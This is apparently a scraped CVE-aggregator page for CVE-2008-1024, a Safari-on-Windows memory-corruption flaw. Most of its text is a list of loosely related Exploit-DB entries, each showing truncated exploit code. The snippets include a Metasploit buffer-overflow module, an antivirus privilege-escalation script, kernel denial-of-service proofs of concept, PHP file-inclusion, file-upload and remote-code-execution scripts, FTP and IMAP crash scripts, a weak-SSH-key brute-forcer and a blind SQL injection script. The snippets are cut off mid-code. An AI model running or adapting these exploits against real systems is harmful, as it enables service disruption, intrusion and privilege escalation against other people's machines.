CVE-2008-1024
published 2008-04-17CVE-2008-1024: Apple Safari before 3.1.1, when running on Windows XP or Vista, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary…
PriorityP426medium6.8CVSS 2.0
AVNACMAuNCPIPAP
EPSS
4.01%
89.5th percentile
Apple Safari before 3.1.1, when running on Windows XP or Vista, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a file download with a crafted file name, which triggers memory corruption.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | safari | — | — |
| apple | safari | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
UltraVNC 1.0.2 Client - 'vncviewer.exe' Remote Buffer Overflow (Metasploit)
exploitdb·2012-03-26
CVE-2008-0610 UltraVNC 1.0.2 Client - 'vncviewer.exe' Remote Buffer Overflow (Metasploit)
UltraVNC 1.0.2 Client - 'vncviewer.exe' Remote Buffer Overflow (Metasploit)
---
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
class Metasploit3 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.
If a malicious server responds to a client connection indicating a minor
protocol version of 14 or 16, a 32-bit integer is subsequently read from
the TCP stream by the client and directly provided as the trusted size for
further reading from the TCP stream into a 1024-byte character array on
the
Exploit-DB
Avast! 4.7 - 'aavmker4.sys' Local Privilege Escalation
exploitdb·2010-04-27·CVSS 6.8
CVE-2010-0705 [MEDIUM] Avast! 4.7 - 'aavmker4.sys' Local Privilege Escalation
Avast! 4.7 - 'aavmker4.sys' Local Privilege Escalation
---
#!/usr/bin/python
# avast! 4.7 aavmker4.sys privilege escalation
# http://www.trapkit.de/advisories/TKADV2008-002.txt
# CVE-2008-1625
# Tested on WindXpSp2/Sp3 Dep ON
# Matteo Memelli ryujin __A-T__ offensive-security.com
# www.offensive-security.com
# Spaghetti & Pwnsauce - 17/04/2010
# Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0
from ctypes import *
import time, struct, sys, thread, os
kernel32 = windll.kernel32
Psapi = windll.Psapi
def findSysBase(drv):
print "(+) Retrieving %s base address..." % drv
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(l
Exploit-DB
Solaris 10 / OpenSolaris - 'dtrace' Local Kernel Denial of Service (PoC)
exploitdb·2009-05-04
CVE-2009-1478 Solaris 10 / OpenSolaris - 'dtrace' Local Kernel Denial of Service (PoC)
Solaris 10 / OpenSolaris - 'dtrace' Local Kernel Denial of Service (PoC)
---
/* solaris-dtrace-dos.c
*
* Copyright (c) 2008 by
*
* Solaris >= 10/Opensolaris local kernel DoS POC
* by mu-b - Mon 17 Nov 2008
*
* - Tested on: Sun Solaris 10 (SPARC)
* Sun OpenSolaris
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DTRACE_HELPER "/dev/dtrace/helper"
static unsigned int changes = 0;
void *
hammer (void *arg)
{
struct dof_hdr *phdr;
phdr = arg;
while (1)
{
phdr->dofh_loadsz = -1;
changes++;
usleep (10);
}
}
int
main (int argc, char **argv)
{
union {
struct dof_hdr hdr;
unsigned char buf[256*1024];
} hdr_t;
struct dof_hdr *phdr;
int i, fd, n, tid;
printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
"by: \n"
"http://www.digit-labs.org/ -- D
Exploit-DB
Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC)
exploitdb·2009-03-23
CVE-2009-1236 Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC)
Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC)
---
/* xnu-appletalk-zip.c
*
* Copyright (c) 2008 by
*
* Apple MACOS X xnu
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int
main (int argc, char **argv)
{
struct sockaddr_at daddr, saddr;
char *p, buf[1024];
int fd, zlen;
printf ("Apple MACOS X xnu \n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
if (argc [src addr]\n", argv[0]);
exit (EXIT_FAILURE);
}
if (!atalk_aton (argv[1], &daddr.sat_addr))
{
fprintf (stderr, "* dst address: atalk_aton failed\n");
exit (EXIT_FAILURE);
}
if (argc > 3)
{
if (!atalk_aton (argv[3], &saddr.sat_addr))
{
fprintf (stderr, "* src address: atalk_aton failed\n");
exit (EXIT_FAILURE);
}
}
daddr.sat_family = AF_APPLET
Exploit-DB
Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)
exploitdb·2009-03-23
CVE-2009-1237 Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)
Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)
---
/* xnu-profil-leak.c
*
* Copyright (c) 2008 by
*
* Apple MACOS X xnu
#include
#include
#include
#include
#include
/* profil defines */
#define PROFIL_LEAK_NUM 65536 * 128
int
main (int argc, char **argv)
{
char buf[1024];
int i, n;
printf ("Apple MACOS X xnu \n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
printf ("* opening profil, pid: %d...", getpid ());
if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n");
printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32);
fflush (stdout);
for (i = 0; i < PROFIL_LEAK_NUM; i++)
{
if ((n = syscall (SYS_
Exploit-DB
Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)
exploitdb·2009-03-23
CVE-2009-1238 Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)
Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)
---
/* xnu-vfssysctl-dos.c
*
* Copyright (c) 2008 by
*
* Apple MACOS X xnu
#include
#include
#include
#include
#include
#include
#include
#include
void
hammer (void *arg)
{
char buf[1024 * (255 + 1)];
int n, name[6];
memset (buf, 0, sizeof buf);
while (1)
{
name[0] = CTL_VFS;
name[1] = 17;
name[2] = HFS_SET_PKG_EXTENSIONS;
name[3] = (int) buf;
name[4] = 1024;
name[5] = (rand () % 254) + 1;
n = sysctl (name, 6, NULL, NULL, NULL, 0);
usleep(10);
}
}
int
main (int argc, char **argv)
{
int i, n, tid;
printf ("Apple MACOS X xnu \n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
for (i = 0; i < 4; i++)
{
n = pthread_create (&tid, NULL, hammer, NULL);
if (n < 0)
{
fprintf (stderr, "failed creating ham
Exploit-DB
Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service
exploitdb·2008-12-10·CVSS 4.9
CVE-2008-5079 [MEDIUM] Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service
Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service
---
/*
* cve-2008-5079.c
*
* Linux Kernel
*
* http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
*
* net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
* and earlier allows local users to cause a denial of service
* (kernel infinite loop) by making two calls to svc_listen for the
* same socket, and then reading a /proc/net/atm/*vc file, related
* to corruption of the vcc table.
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define NR_CPUS 8
#define PROC_ATM "/proc/net/atm/pvc"
int
main(void)
{
char *err, dummy[1024];
int i, ret, sock, proc;
struct atm_qos qos;
struct sockaddr_atmsvc addr;
printf("[+] creating ATM socket...\n");
sock = socket(PF_ATMSVC, SOCK_DGRAM
Exploit-DB
PunBB (Private Messaging System 1.2.x) - Multiple Local File Inclusions
exploitdb·2008-11-19
CVE-2008-6308 PunBB (Private Messaging System 1.2.x) - Multiple Local File Inclusions
PunBB (Private Messaging System 1.2.x) - Multiple Local File Inclusions
---
starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);
class Exploit
{
function http_request($host,$data)
{
if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP))
{
echo "socket_create() error!\r\n";
exit;
}
if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
{
echo "socket_set_option() error!\r\n";
exit;
}
if(!socket_connect($socket,$host,80))
{
echo "socket_connect() error!\r\n";
exit;
}
if(!socket_write($socket,$data,strlen($data)))
{
echo "socket_write() errror!\r\n";
exit;
}
while($get = socket_read($socket,1024,PHP_NORMAL_READ))
{
$content .= $get;
}
socket_close($socket);
$array = array(
'HTTP/1.1 404 Not Found',
'HTTP/1.1 300 Multiple Choices',
'HTTP/1.1 301
Exploit-DB
Discuz! 6.x/7.x - Remote Code Execution
exploitdb·2008-11-14
CVE-2008-6958 Discuz! 6.x/7.x - Remote Code Execution
Discuz! 6.x/7.x - Remote Code Execution
---
#!/usr/bin/php
\nåˆ«å‘Šè¯‰æˆ‘ä½ ä¸ä¼šç”¨ -,-\n");
else
exit("å—¯,大概是该网站ä¸å˜åœ¨æ¼æ´ž,æ¢ä¸€ä¸ªå§ -,-\n");
function send()
{
global $host, $path, $url, $cmd;
$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
# milw
Exploit-DB
e-Vision CMS 2.0.2 - Multiple Local File Inclusions
exploitdb·2008-11-07
CVE-2008-6551 e-Vision CMS 2.0.2 - Multiple Local File Inclusions
e-Vision CMS 2.0.2 - Multiple Local File Inclusions
---
starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);
class Exploit
{
function http_request($host,$data)
{
if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP))
{
echo "socket_create() error!\r\n";
exit;
}
if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
{
echo "socket_set_option() error!\r\n";
exit;
}
if(!socket_connect($socket,$host,80))
{
echo "socket_connect() error!\r\n";
exit;
}
if(!socket_write($socket,$data,strlen($data)))
{
echo "socket_write() errror!\r\n";
exit;
}
while($get = socket_read($socket,1024,PHP_NORMAL_READ))
{
$content .= $get;
}
socket_close($socket);
$array = array(
'HTTP/1.1 404 Not Found',
'HTTP/1.1 300 Multiple Choices',
'HTTP/1.1 301 Moved Permanently',
'
Exploit-DB
FTP Now 2.6 Server - Response Remote Crash (PoC)
exploitdb·2008-11-01
CVE-2008-5045 FTP Now 2.6 Server - Response Remote Crash (PoC)
FTP Now 2.6 Server - Response Remote Crash (PoC)
---
#!/usr/bin/perl
# By Dr.Pantagon
# www.deltasecurity.ir
# DeltaSecurityCenter
# Special Tnx D_7J AND H!V++
# FTP Now version 2.6 Server Response PoC
# Usage: ./ftpnow.pl [IP]
# Download Link : http://www.network-client.com/ftpnow/FTPNow26.exe
#
# Details: The response is broken into buffers, either at length 1024,
# or at '\r\n'. Each buffer is apended with \x00, without
# bounds checking. If the response is exctly 1024 characters
# in length, you will overflow the heap with the string \x00.
use IO::Socket;
use strict;
# Create listener
my $ip=shift || '127.0.0.1'; # Default ip
my $sock = IO::Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'21', #Default port
Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sur
Exploit-DB
Titan FTP Server 6.26 build 630 - Remote Denial of Service
exploitdb·2008-10-14
CVE-2008-6082 Titan FTP Server 6.26 build 630 - Remote Denial of Service
Titan FTP Server 6.26 build 630 - Remote Denial of Service
---
# Titan FTP server v6.26 build 630 remote DoS exploit
# Titan FTP URL - http://www.titanftp.com/
# DoS'ed on "SITE WHO" command
# (x)dmnt
# -*- coding: windows-1252 -*-
import socket
import sys
def help_info():
print ("Usage: titand0s \n")
print ("Note: anonymous is enought\n")
def dos_it(hostname, username, passwd):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("[-] Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] " + r
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] Send evil string"
sock.send("SITE WHO\r\n")
sock.close()
print "[0] Now server d0s'ed"
print ("\n]Titan FTP server v6.2
Exploit-DB
XM Easy Personal FTP Server 5.6.0 - Remote Denial of Service
exploitdb·2008-10-13
CVE-2008-5626 XM Easy Personal FTP Server 5.6.0 - Remote Denial of Service
XM Easy Personal FTP Server 5.6.0 - Remote Denial of Service
---
print "--------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.6.0 Remote Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://www.shinnai.net"
print "--------------------------------------------------------------"
import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
conn = s.connect(("127.0.0.1",21))
d = s.recv(1024)
print "Server USER: test"
d = s.recv(1024)
print "Server PASS: test"
d = s.recv(1024)
print "Server NSLT: -1"
d = s.recv(1024)
print "Server <- " + d
time.sleep(2)
except:
print "- Unable to connect. exiting."
# milw0rm.com [2008-10
Exploit-DB
RaidenFTPd 2.4 build 3620 - Remote Denial of Service
exploitdb·2008-10-13
CVE-2008-6186 RaidenFTPd 2.4 build 3620 - Remote Denial of Service
RaidenFTPd 2.4 build 3620 - Remote Denial of Service
---
# RaidenFTPD V2.4 build 3620 exploit
# probaly heap overflow
#
# (x)dmnt 2008
# -*- coding: windows-1252 -*-
import socket
import sys, time
evil_cwd = "/"+"\x22"*255
evil_dir = "X"*505
def help_info():
print ("Usage: ShaoKahn \n")
print ("Note: anonymous is enought")
def dos_it(hostname, username, passwd):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("[-] Connection error!")
sys.exit(1)
r=sock.recv(2048)
print "[+] Connected"
sock.send("user %s\r\n" %username)
r=sock.recv(1024)
time.sleep(3)
sock.send("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] Send evil string"
time.sleep(3)
sock.send("cwd %s\r\n" %evil_cwd)
r=sock.recv(1024)
time.sleep(3)
sock.send("mlst %s\
Exploit-DB
GuildFTPd 0.999.8.11/0.999.14 - Heap Corruption (PoC) / Denial of Service
exploitdb·2008-10-12
CVE-2008-4572 GuildFTPd 0.999.8.11/0.999.14 - Heap Corruption (PoC) / Denial of Service
GuildFTPd 0.999.8.11/0.999.14 - Heap Corruption (PoC) / Denial of Service
---
# GuildFTPd v0.999.8.11/v0.999.14 heap corruption PoC/DoS exploit
# GuildFTPd URL - http://www.guildftpd.com
# cwd/list heap corruption
# overwrite registers in free(): ecx, edi
#
# (x)dmnt 2008
# feel free to do shellcode
# -*- coding: windows-1252 -*-
import socket
import sys, time
evil_cwd = "/."*124
evil_dir = "X"*100
def help_info():
print ("Usage: guildd0s \n")
print ("Note: anonymous is enought\n")
def dos_it(hostname, username, passwd):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("[-] Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] " + r
sock.send("user %s\n" %username)
r=sock.recv(1024)
sock.send("pass %s\n" %passwd)
r=sock.
Exploit-DB
WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service
exploitdb·2008-10-09
CVE-2008-5666 WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service
WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service
---
# WinFTP v2.3.0 DoS exploit
# WinFTP URL - http://www.wftpserver.com/
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-
import socket
import time
import sys
PORT = 21
def help_info():
print ("Usage: winftp \n")
print ("Note: anonymous is enought\n")
def conn(hostname, username, passwd):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, PORT))
except:
print ("[+] Done!")
sys.exit(1)
r=sock.recv(1024)
print "[+] " + r
sock.send("USER %s\n" %username)
sock.send("PASS %s\n" %passwd)
sock.send("PASV\n")
sock.send("NLST -1\n")
sock.send("QUIT\n")
sock.close()
print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")
if len(sys.ar
Exploit-DB
Femitter FTP Server 1.03 - 'RETR' Remote Denial of Service (PoC)
exploitdb·2008-09-17
CVE-2008-2032 Femitter FTP Server 1.03 - 'RETR' Remote Denial of Service (PoC)
Femitter FTP Server 1.03 - 'RETR' Remote Denial of Service (PoC)
---
/*0-----------------------------------------------------------------------------------0*\
0 0
| |
| Femitter FTP Server 1.03 (RETR) Remote Denial of Service Exploit PoC |
| |
| Summary: Femitter Server is an easy-to use HTTP and FTP server application |
| for Windows which allows you to use your own computer for sharing gigabytes |
| of files with your friends and colleagues. |
| |
| Desc: Femitter HTTP/FTP 1.03 suffers from a denial of service vulnerability |
| and memory corruption that causes the application to crash. When we send to |
| the RETR command an argument like AAAA:AAAA or an overly long string of As |
| (1024), the server crashes instantly. Also, when typing into browser: |
| ftp://127.0.0.1/\.. we traver
Exploit-DB
Nokia e90/n82 (s60v3) - Remote Denial of Service
exploitdb·2008-09-14
CVE-2008-4135 Nokia e90/n82 (s60v3) - Remote Denial of Service
Nokia e90/n82 (s60v3) - Remote Denial of Service
---
Nokia E90 and probably other devices with s60v3 crashes with aireplay
The device should be authorised on an access point
sample: aireplay-ng -0 10 -a 00:74:3B:0C:A0:5A -c 00:2A:29:F3:1F:42 wlan0
My HW:
AP= Acorp w422g
Nokia E90 v 07.40.1.2 Ra-6
For attack realisation is necessary to send DeAuth a package on the attacked
device (to throw out it from an access point), then to continue to send
packages on the device.
the Device is crashed off right after repeated authorisation on an access
point
Vulnerability is fast shown at activity on WLAN
WLAN Settings: auto
I specify a harmful code: ./aireplay-ng -x 1024 -0 230 -a $ap -c $target
$iface
Added: the vulnerable device: Nokia N82
# milw0rm.com [2008-09-14]
Exploit-DB
Surgemail 39e-1 - (Authenticated) IMAP Remote Buffer Overflow (Denial of Service) (PoC)
exploitdb·2008-06-30
CVE-2008-7182 Surgemail 39e-1 - (Authenticated) IMAP Remote Buffer Overflow (Denial of Service) (PoC)
Surgemail 39e-1 - (Authenticated) IMAP Remote Buffer Overflow (Denial of Service) (PoC)
---
#!/usr/bin/python
#
# Surgemail version 39e-1 - (0day) Post Auth IMAP Buffer overflow DoS.
# Discovered by: Travis Warren
#
# The IMAP service contains a buffer overflow in the APPEND command.
#
#
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = '\x41' * 3000
s.connect(('192.168.0.103',143))
s.recv(1024)
s.send('A001 LOGIN [email protected] user ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 APPEND ' + buffer + '\r\n')
s.recv(1024)
s.close()
# milw0rm.com [2008-06-30]
Exploit-DB
Achievo 1.3.2 - 'FCKeditor' Arbitrary File Upload
exploitdb·2008-06-09
CVE-2008-2742 Achievo 1.3.2 - 'FCKeditor' Arbitrary File Upload
Achievo 1.3.2 - 'FCKeditor' Arbitrary File Upload
---
array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;
$connector = "atk/attributes/fck/editor/filemanager/brows
Exploit-DB
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby)
exploitdb·2008-05-16
CVE-2008-0166 OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby)
OpenSSL 0.9.8c-1
#
# This tool helps to find user accounts with weak SSH keys
# that should be regenerated with an unaffected version
# of openssl.
#
# You will need the precalculated keys provided by HD Moore
# See http://metasploit.com/users/hdm/tools/debian-openssl/
# for further information.
#
# Common Keys:
#
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5632.tar.bz2 (debian_ssh_dsa_1024_x86.tar.bz2)
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
#
# Usage:
# debian_openssh_key_test.rb
#
# E-DB Note: See here for an update ~ https://github.com/offensive-security/exploitdb/pull/76/files
#
require 'thread'
THREADCOUNT = 10
KEYSPERCONNECT = 3
queue = Queue.new
thre
Exploit-DB
1024 CMS 1.4.2 - Local File Inclusion / Blind SQL Injection
exploitdb·2008-04-13
CVE-2008-1911 1024 CMS 1.4.2 - Local File Inclusion / Blind SQL Injection
1024 CMS 1.4.2 - Local File Inclusion / Blind SQL Injection
---
# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 13/04/2008
# CMS: 1024 CMS 3 and $rv)
{
$hash .= chr($cset[$i]);
syswrite(STDOUT, chr($cset[$i]), 1);
last;
}
}
}
if(not defined $hash or length($hash) != 32)
{
print STDOUT "\n[-] Exploit mistake: please check the benchmark and the sql query\n\n";
}
else
{
print STDOUT "\n[+] Exploit terminated\n\n";
}
sub banner
{
print "\n";
print "[+] 1024 CMS header(Cookie => "cookpass=-1'; cookuid=0; cooktype=0; cooklogged=0; cookuser=0");
$res = $client->request($get);
if($res->is_success)
{
return 1 if $res->as_string =~ /Cannot check combination/;
}
else
{
die "[-] Invalid target : ${target}\n\n";
}
return 0;
}
sub check_char
{
my ($char, $n) = @_;
$get->header(Cook
Exploit-DB
LICQ 1.3.5 - File Descriptor Remote Denial of Service
exploitdb·2008-04-08
CVE-2008-1996 LICQ 1.3.5 - File Descriptor Remote Denial of Service
LICQ 1.3.5 - File Descriptor Remote Denial of Service
---
// source: https://www.securityfocus.com/bid/28679/info
LICQ is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.
A remote attacker can exploit this issue to crash the affected application, denying service to legitimate users. The attacker may also be able to execute code, but this has not been confirmed.
#include
#include
#include
#include
#include
#include
#include
// change to suit your needs
#define MAX 1024
int fds[MAX];
int main(int argc, char *argv[])
{
int port,a;
char host[12];
struct sockaddr_in victim;
struct in_addr inp;
if (argc!=3)
{
printf("usage: %s \n",argv[0]);
exit(1);
}
port=atoi(argv[2]);
strcpy(host,argv[1]);
printf("ip=%s\n",host);
for
Exploit-DB
LinPHA 1.3.3 Plugin Maps - Remote Command Execution
exploitdb·2008-04-07
CVE-2008-1856 LinPHA 1.3.3 Plugin Maps - Remote Command Execution
LinPHA 1.3.3 Plugin Maps - Remote Command Execution
---
400. * tagged LinPHA linpha_1_1_0 :-)
401.
402. 2006-02-18 flo
403. * fixed linpha vulnerability found on secunia.com
404. + docs/index.php and install/*
405. include($lang) fixed
406. + plugins/log/logger.class.php
407. use htmlspecialchars() before write logger events to database or to text file
408. for example:
409. User : login failed! : login failed!
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from ".$host.":80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
print "\n+-------
Exploit-DB
Mcafee EPO 4.0 - 'FrameworkService.exe' Remote Denial of Service
exploitdb·2008-04-02
CVE-2008-1855 Mcafee EPO 4.0 - 'FrameworkService.exe' Remote Denial of Service
Mcafee EPO 4.0 - 'FrameworkService.exe' Remote Denial of Service
---
#!/usr/bin/python
# Mcafee EPO 4.0 (and others) FrameworkService.exe DOS
# More than meets the eye
# Discovered and coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/mcafee_again.py.txt
# EAX 00840C30
# ECX 00837830
# EDX 01EACF18
# EBX 00004000
# ESP 01EAFF04
# EBP 01EAFF38
# ESI 00837830
# EDI 643AC780 naCmnLib.CnaLogger::AddMessageA
# EIP 42424242
import socket
import os
import sys
from time import sleep
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print
Exploit-DB
MailEnable Professional/Enterprise 3.13 - 'Fetch' (Authenticated) Remote Buffer Overflow
exploitdb·2008-03-14
CVE-2008-1276 MailEnable Professional/Enterprise 3.13 - 'Fetch' (Authenticated) Remote Buffer Overflow
MailEnable Professional/Enterprise 3.13 - 'Fetch' (Authenticated) Remote Buffer Overflow
---
#!/usr/bin/perl
# =================================================================
# MailEnable Professional gmail.com
#
# 10.3.2008 ..enjoy!:]
# =================================================================
use IO::Socket;
print "\n [*] MailEnable Professional 3.13 imap remote exploit";
print "\n [*] exploit by haluznik | bug discovered by Luigi Auriemma\n\n";
if (@ARGV new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die " [-] cannot connect to host!\n";
recv($socket, $reply, 1024, 0);
print " [i] " . $reply;
print " [+] logging..\n";
$exploit = "a001 LOGIN " . $user ." " . $pass ."\r\n";
send $socket, $exploit, 0;
recv($socket, $reply, 1024, 0);
print " [i] " . $repl
Exploit-DB
Linux Kernel 2.6.x - 'add_to_page_cache_lru()' Local Denial of Service
exploitdb·2007-07-20
CVE-2008-4302 Linux Kernel 2.6.x - 'add_to_page_cache_lru()' Local Denial of Service
Linux Kernel 2.6.x - 'add_to_page_cache_lru()' Local Denial of Service
---
source: https://www.securityfocus.com/bid/31201/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users.
This issue affects versions prior to Linux kernel 2.6.22.2.
[global]
bs=8k
iodepth=1024
iodepth_batch=60
randrepeat=1
size=1m
directory=/home/oracle
numjobs=20
[job1]
ioengine=sync
bs=1k
direct=1
rw=randread
filename=file1:file2
[job2]
ioengine=libaio
rw=randwrite
direct=1
filename=file1:file2
[job3]
bs=1k
ioengine=posixaio
rw=randwrite
direct=1
filename=file1:file2
[job4]
ioengine=splice
direct=1
rw=randwrite
filename=file1:file2
[job5]
bs=1k
ioengine=sync
rw=randread
filename=file1:file2
[
Exploit-DB
UniversalFTP 1.0.50 - 'MKD' Remote Denial of Service
exploitdb·2006-11-15
CVE-2008-5431 UniversalFTP 1.0.50 - 'MKD' Remote Denial of Service
UniversalFTP 1.0.50 - 'MKD' Remote Denial of Service
---
/*
DoS Exploit for UniversalFTP version 1.0.50
UniversalFTP (www.teamtek.net)
http://www.5e5.net/cgi-bin/download3.asp
Suffers from several unhandled user input vulnerabilities that
cause the program to crash.
I originally found this vulnerability on October 27th and wrote
this but got caught up working with the Renasoft PSS Exploit
and forgot to report it.
The vulnerability was posted to secunia by Parvez Anwar November
13th - good job and thanks to him :).
*/
#include
#include
#include
#include
#define BUFF_SIZE 1024
#pragma comment(lib,"wsock32.lib")
int main(int argc, char *argv[])
{
WSADATA wsaData;
char buffer[BUFF_SIZE];
struct hostent *hp;
struct sockaddr_in sockin;
char buf[300], *check, *cmd;
int sockfd, bytes;
Bugzilla
CVE-2008-3828 condor: buffer overflow in lookup_macro
bugzilla·2008-09-25·CVSS 4.6
CVE-2008-3828 [MEDIUM] CVE-2008-3828 condor: buffer overflow in lookup_macro
CVE-2008-3828 condor: buffer overflow in lookup_macro
Any user who can submit a job can cause a buffer overflow in the
condor_schedd.
condor_qedit 1.0 X 1, for instance, sets attribute X to 1 on job 1.0. The
attribute name X is used to lookup configuration information, which employs
a static 1024 byte buffer. Making the attribute name large enough can
overflow that buffer.
The condor_schedd is a root run service.
Discussion:
Lifting embargo:
http://www.cs.wisc.edu/condor/manual/v7.0/8_3Stable_Release.html#SECTION00931000000000000000
---
condor-7.0.5-1.fc9 has been pushed to the Fedora 9 stable repository. If problems still persist, please make note of it in this bug report.
---
This issue was addressed in:
Red Hat Enterprise MRG for RHEL-4:
http://rhn.redhat.com/errata/RHSA-2008-
Bugzilla
CVE-2008-0947 krb5: file descriptor array overflow in RPC library
bugzilla·2008-02-20·CVSS 10.0
